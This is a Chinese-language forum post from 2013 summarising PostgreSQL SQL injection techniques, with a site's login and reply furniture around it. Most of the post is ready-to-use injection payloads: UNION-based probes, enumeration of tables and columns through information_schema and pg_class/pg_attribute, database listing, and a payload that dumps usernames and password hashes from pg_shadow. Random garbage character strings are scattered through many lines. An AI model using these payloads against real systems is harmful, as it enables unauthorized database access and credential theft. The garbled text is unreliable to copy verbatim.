找回密码
 立即注册
查看: 2446|回复: 0
打印 上一主题 下一主题

postgreSQL注入总结

[复制链接]
抢楼 抢楼 本帖为抢楼帖,欢迎抢楼! 
跳转到指定楼层
楼主
发表于 2013-10-13 12:57:16 | 只看该作者 回帖奖励 |阅读模式
结合了MSSQL MySQL Oracle的一些特点
/ @9 N9 I9 d" t# ?

支持多语句执行,语句可以没有from

postgres用户是超级用户(创始人账户) 只有superuser有copy权限

注释: — , /**/
  z* U. q0 b- Y连接符: %20 , + , /**/

内置函数:
$ F, g# s% {  {' E8 ~7 {; lcurrent_database() //当前数据库名
' J: |6 K# A" l9 h0 {* x; ysession_user //会话用户0 _" y3 E% v% [5 l3 A6 {. s
current_user //当前数据库用户
3 Q: Z5 |8 D& d- a6 p. [/ auser //当前用户
' `: u2 D3 p; N8 U5 S7 J& qversion() //数据库版本

Union注射:7 ]& |6 d! ?. g3 J
order by n–/ H! l4 a0 B3 k" j/ E; U
and 1=2 union select null,null,null–- P' R' V: ^6 H* o
and 1=2 union select ‘beach’,null,null–2 I/ b$ f: }2 S. i; H8 t
and 1=2 union select (select version()),null,null–

获取表名,字段名(新版本利用information_schema):9 }! `* a) W$ D; L  }
group_concat(table_name)
# K: X  U# |( M1 L& X/ G' band 1=2 union select table_name,null,null from information_schema.tables limit 1 offset n–( y9 c  F' |2 P  d
and 1=2 union select column_name,null,null from information_schema.columns where table_name=’admin’ limit 1 offset n–+ _7 S# E% R* M+ m
(老版本)
! Z1 M" j: L3 bpg_class.oid对应pg_attribute.attrelid
8 r9 E$ B1 M* B( f( z* epg_class.relname表名
. U7 h& J/ ?" N* a# G! h( i4 P. K- Qpg_attribute.attname字段名

select relname from pg_class获取表名
% ?* k* x$ o. H1 s+ e. g2 A- L2 Kselect oid from pg_class where 条件 获取参数4 p4 k  j, D0 ]' S6 {  R$ C
select attname from pg_attribute where attrelid=’oid的值’ 获取字段名

实战:
+ l. A% h  u/ V3 a3 dand 1=2 union select relname,null,null from pg_class where relkind=’r’ limit 1 offset 0–加入relkind=’r'只查询普通表
& L; F. A0 U. m2 k3 L9 g& E' Dand 1=2 union select cast(oid as varchar(10)),null,null from pg_class where relkind=’r’ limit 1 offset 0–
( i6 B! U( ?$ x4 l0 T* \* m  I由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型。比如得到1136

and 1=2 union select attname,null,null from pg_attribute where attrelid=1136 limit 1 offset 0–爆表名
1 h6 l1 ~* }- |1 J/ X& q======================================================================2 r) f1 {1 b6 t; S
and 1=2 union select datname,null,null from pg_database limit 1 offset 0–爆库% Y8 F2 v( S& W7 g6 s
and 1=2 union select username||chr(124)||passwd,null,null from pg_shadow limit 1 offset 0–爆数据库用户密码

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表